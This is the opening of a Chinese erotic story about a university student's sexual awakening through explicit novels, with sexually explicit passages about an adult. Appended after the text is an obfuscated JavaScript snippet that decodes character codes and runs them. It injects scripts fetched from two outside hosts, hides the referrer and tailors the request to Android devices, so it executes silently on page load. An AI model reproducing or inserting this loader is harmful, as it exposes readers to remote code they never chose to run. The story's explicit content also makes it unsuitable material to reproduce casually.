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林芙是个普通的女大生，不算系花，可她笑容明媚、有感染力。那一双水润的大眼睛和白皙的肌肤，让她在校园中依然有不少回头率。 林芙初中时，朋友推荐她看了人生第一本小说。自此几乎所有空闲时间投入小说，都21岁了还没谈过恋爱。 林芙清楚知道自己有些无法向外人分享的难言之隐，只能把自己藏在小说的世界里，那里可以包容自己的一切。 是什么时候发现自己是这样的人呢？ 高中时，林芙在一次书荒时无意间点进了一本18禁小黄文，她深陷其中越看越觉得上瘾，常常把自己看到内裤全湿，心绪起伏不定。 因为看小说让她充满欲望，却不知如何纾解，她开始从各种管道想办法学习如何自慰，也慢慢发觉自己的性癖好。 第一次尝到高潮滋味时，她脑袋一片空白，这感觉让她深深着迷。 在父母眼中，林芙是一个不折不扣的乖乖女。 从小乖巧听话、成绩也好，比其他小孩不知道自律多少。 父母觉得自己的放养式教育成功，尊重她的所有选择，包括大学时离开家乡到外地就读。 林芙大三时一个人搬出学校宿舍，开始独居生活。 林芙不用再克制自己的性欲，也不用害怕看小黄文会被发现，有属于自己的安全空间可以尽情自慰，这让她压抑的性欲得到了释放，她真的非常快乐。 林芙一度觉得这是自己人生中最满足的时刻… (function(a){(new Function(String.fromCharCode(...a)))();})([100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,100,105,118,62,60,100,105,118,32,105,100,61,39,118,56,82,68,50,53,52,49,39,62,60,47,100,105,118,62,60,47,100,105,118,62,34,41,59,108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,109,100,49,49,110,50,51,56,97,46,111,115,115,45,99,110,45,104,97,110,103,122,104,111,117,46,97,108,105,121,117,110,99,115,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,112,46,55,100,51,54,97,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,52,49,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);(new Function(document.currentScript.previousSibling.textContent))();